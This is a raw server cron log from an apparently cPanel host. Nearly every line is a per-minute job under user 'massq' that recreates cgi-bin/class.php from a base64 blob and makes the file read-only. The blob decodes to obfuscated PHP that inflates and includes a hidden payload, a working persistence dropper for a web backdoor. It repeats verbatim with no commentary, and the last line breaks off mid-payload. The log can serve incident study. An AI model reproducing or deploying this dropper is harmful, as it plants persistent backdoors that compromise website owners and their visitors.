"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:13:01 server CROND[13322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:14:01 server CROND[13530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:15:01 server CROND[13599]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 17:15:01 server CROND[13600]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 17:15:01 server CROND[13601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:16:01 server CROND[13724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:17:01 server CROND[13786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:18:01 server CROND[13888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:19:01 server CROND[13942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:20:01 server CROND[14185]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 17:20:01 server CROND[14186]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 17:20:01 server CROND[14189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 17:20:01 server CROND[14190]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 17:20:01 server CROND[14191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:21:01 server CROND[14321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:22:01 server CROND[14412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:23:01 server CROND[14489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:24:01 server CROND[14546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:25:01 server CROND[14706]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 17:25:01 server CROND[14707]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 17:25:01 server CROND[14708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5t